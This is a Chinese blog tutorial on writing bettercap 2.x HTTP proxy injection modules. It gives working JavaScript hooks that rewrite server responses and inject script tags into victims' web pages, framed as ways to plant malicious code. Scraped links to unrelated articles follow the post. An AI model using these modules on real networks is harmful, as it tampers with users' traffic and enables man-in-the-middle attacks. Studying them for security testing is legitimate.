/文章作者:Kali_MG1937

CNBLOG博客号:ALDYS4

QQ:3496925334
/

前言

bettercap已经从1.6更新至2.0版本

语言也从ruby改为了go

编写注入模块指定的语言也从ruby变为了js

模块的编写可以说是更加方便了

那么如何编写bettercap2.0的注入模块呢?

语法明晰

bettercap进入2.0后一些人开始不习惯于新版本注入模块的编写

因为在1.6.2版本中,注入js只需要带上--proxy-module=injectjs参数,接着在--js-data参数中带入欲注入的js语句即可,可以说是非常方便了

但在2.0版本,注入模块的编写语言已经改为js,这让许多没接触过ruby的人有了更大的发挥空间

bettercap官网:http://www.bettercap.org



对于http(s).proxy模块

官方文档的介绍已经很明确了

我这里就对文档的内容进行解释和翻译,并附上自己的理解

0x00 http.proxy.script加载注入模块

这步很简单,只要使用set来设置指定的js文件即可

如:

set http.proxy.script /root/inject.js

0x01 注入模块的语法

注入模块可以更具使用者喜好来编写相应功能的注入模块

这里先对模块语法进行解释

// 当加载proxy时执行onLoad函数
function onLoad() {
//比如你已经set好js文件,使用http.proxy on来加载文件时
//此函数的内容将被执行
} // 当受害者发送请求时拦截请求内容
function onRequest(req, res) {
//req就是请求的内容,res就是收到的返回内容
} // 当服务器返回内容给受害者时将其拦截
function onResponse(req, res) {
//req和res和上面一样
} // 当你在bettercap内执行了一个软件并不自带的命令时执行函数
function onCommand(cmd) {
if( cmd == "test" ) {
/*
* 比如你在软件内输入test并回车,就会触发这个函数
* 执行相应的代码
*/
return true
}
}

0x02 如何编写注入模块

这里先对模块自带的变量进行介绍

变量 介绍
CobtentType 拦截请求/返回的ContentType
Headers 拦截请求/返回的头信息
Status 拦截状态码
Body 拦截请求/返回的内容

在实际编写模块时

应用它们的方法很简单

比如你要拦截服务器返回给受害者信息中的ContentType信息

只需要把它赋予给一个值就好

如:

var a = req.ContentType

如果你要改写服务器返回给受害者的实际内容

只需将req或res参数的对应变量重写即可


如:

req.Body="You were be hacked"

官方也给出了许多骚操作

骚操作之一:网页复写

function onRequest(req, res) {
res.Status = 200;//重写状态码
res.ContentType = "text/html";//重写content
res.Body = readFile("caplets/www/index.html");//重写body
//其中readFile函数也是模块自带的,用于读取本地文件
headers = res.Headers.split("\r\n")
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "")
res.RemoveHeader(header_name);
}//删除返回信息的头信息
res.SetHeader("Connection", "close");//增加一个头信息
}

该模块可以在受害者发出任何请求时复写服务器返回的真实内容

骚操作之二:在返回中注入代码

function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
//若content的格式是text/html
var body = res.ReadBody();//读取body
if( body.indexOf('') != -1 ) {//若头标签存在
res.Body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
'alert("bettercap")' +
'</script>' +
''
); //则在头标签内注入代码
}
}
}

顾名思义,替换指定标签或内容,在其中插入恶意代码

不只这些,有兴趣的可以看看bettercap作者的github

https://github.com/bettercap/caplets

这是作者自己写的模块,各种骚操作都有

还有一些模块自带的参数由于篇幅限制没法一一说明

可以自己去官网查看文档

实际应用

我根据这些原理自己利用python开发了一个小工具

BEST

全称:BettercapEvilScriptTool

开发该工具的初衷是想快捷地构造注入模块

虽然代码还在雏形期,但我还是先开源吧







代码开源:

https://pan.baidu.com/s/1buTP8aHqoP84zDeP6cMulQ

【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script的更多相关文章

  1. ArcGIS for Desktop入门教程_第一章_引言 - ArcGIS知乎-新一代ArcGIS问答社区

    原文:ArcGIS for Desktop入门教程_第一章_引言 - ArcGIS知乎-新一代ArcGIS问答社区 1 引言 1.1 读者定位 我们假设用户在阅读本指南前应已具备以下知识: · 熟悉W ...

  2. 【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写

    /文章作者:Kali_MG1937 CNBLOG博客:ALDYS4 QQ:3496925334/ 第一期: https://www.cnblogs.com/aldys4/p/14877783.html ...

  3. Python笔记_第一篇_面向过程_第一部分_8.画图工具(小海龟turtle)

    turtle 是一个简单的绘图工具. 提供一个小海龟,可以把它理解为一个机器人,只能听懂有限的命令,且绘图窗口的原点(0,0)在中间,默认海龟的方向是右侧海龟的命令包括三类:运动命令.笔画控制命令.其 ...

  4. Python笔记_第一篇_面向过程_第一部分_2.内存详解

    Python的很多教材中并没有讲内存方面的知识,但是内存的知识非常重要,对于计算机工作原理和方便理解编程语言是非常重要的,尤其是小白,因此需要把这一方面加上,能够更加深入的理解编程语言.这里引用了C语 ...

  5. Python笔记_第一篇_面向过程_第一部分_6.条件控制语句(if)

    Python正如其他语言一样存在两种常用的逻辑判断体(也叫结构化程序设计).所谓逻辑判断体是通过你想要完成的编程思路,通过在逻辑判断体中的相互判断和作用得到你想要的结果.逻辑判断体也叫控制语句,Pyt ...

  6. Python笔记_第一篇_面向过程_第一部分_0.开场白

    *什么是Python? Python是一种面向对象的解释型计算机程序设计语言,由荷兰人Guido(吉多) van Rossum于1989年发明,第一个公开版本发行于1991年.在国外应用非常的广泛,国 ...

  7. Python笔记_第一篇_面向过程_第一部分_9.Ubuntu基础操作

    第一部分   Ubuntu简介 Ubuntu(乌班图)是一个机遇Debian的以桌面应用为主的Linux操作系统,据说其名称来自非洲南部祖鲁语或科萨语的“Ubuntu”一词,意思是“人性”.“我的存在 ...

  8. SQL时间第一期_获取系统年月日时分秒

    select GETDATE() as '当前日期',DateName(year,GetDate()) as '年',DateName(month,GetDate()) as '月',DateName ...

  9. COM编程_第一讲_深入COM框架以及实现简单的COM

    一丶我们要理解COM是什么(为什么理解) 现在很多人会用com(也就是ALT)但是不知道原理,如果改一点东西,那么整体的框架重来,因为你不懂改哪里,如果懂了,那么遇到问题,那么就会知道我要怎么做,是什 ...

随机推荐

  1. XCTF-i-get-id-200

    i-get-id-200 题目描述 嗯..我刚建好了一个网站 解题过程 一共有三个页面 Hello World 告诉了页面是perl写的 Forms 输入name和age会返回渲染后的字符串 搜了一下 ...

  2. 用 vitePress 快速创建一个文档项目

    其实开发一个项目最需要的就是操作文档,文档的质量决定了项目的开发流程,开发规范等等. 对于前端框架来说,文档最友好的还是vue,不仅是中国人的框架,而且文档支持了中文.仔细查看 Vue 的官方文档,还 ...

  3. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  4. window 10 删除文件夹需要管理员权限

    如果设了当前的账号有权限删除了, 还是显示删除里管理员则需要改: 按Win+R组合键,输入gpedit.msc点击确定: 在窗口边依次打开计算机配置--Windows设置--安全设置--本地策略--安 ...

  5. Jenkins+Git的搭建和自动部署

    前言 Jenkins在工作中都使用过,之前都是运维去搭建部署,弄好了之后给我一个网址去构建项目就可以了,所以也都是一直没了解过安装过程. 今天在自己的服务器上搭建了一遍,中间有遇到很多坑,特在此归纳总 ...

  6. 2020BUAA-个人博客-案例分析

    个人博客作业-软件案例分析 项目 内容 北航2020软工 班级博客 作业要求 具体要求 我的课程目标 通过案例分析提升自己对于软件工程的认识 课程收获 分析软件,了解软件的定位 第一部分 调研,评测( ...

  7. Pytorch_Part2_数据模块

    VisualPytorch beta发布了! 功能概述:通过可视化拖拽网络层方式搭建模型,可选择不同数据集.损失函数.优化器生成可运行pytorch代码 扩展功能:1. 模型搭建支持模块的嵌套:2. ...

  8. Django(27)类视图

    类视图 在写视图的时候,Django除了使用函数作为视图,也可以使用类作为视图.使用类视图可以使用类的一些特性,比如继承等. View django.views.generic.base.View是主 ...

  9. Java集合详解(三):HashMap原理解析

    概述 本文是基于jdk8_271版本进行分析的. HashMap是Map集合中使用最多的.底层是基于数组+链表实现的,jdk8开始底层是基于数组+链表/红黑树实现的.HashMap也会动态扩容,与Ar ...

  10. Lua中的面向对象编程详解

    简单说说Lua中的面向对象 Lua中的table就是一种对象,看以下一段简单的代码: 复制代码代码如下: local tb1 = {a = 1, b = 2}local tb2 = {a = 1, b ...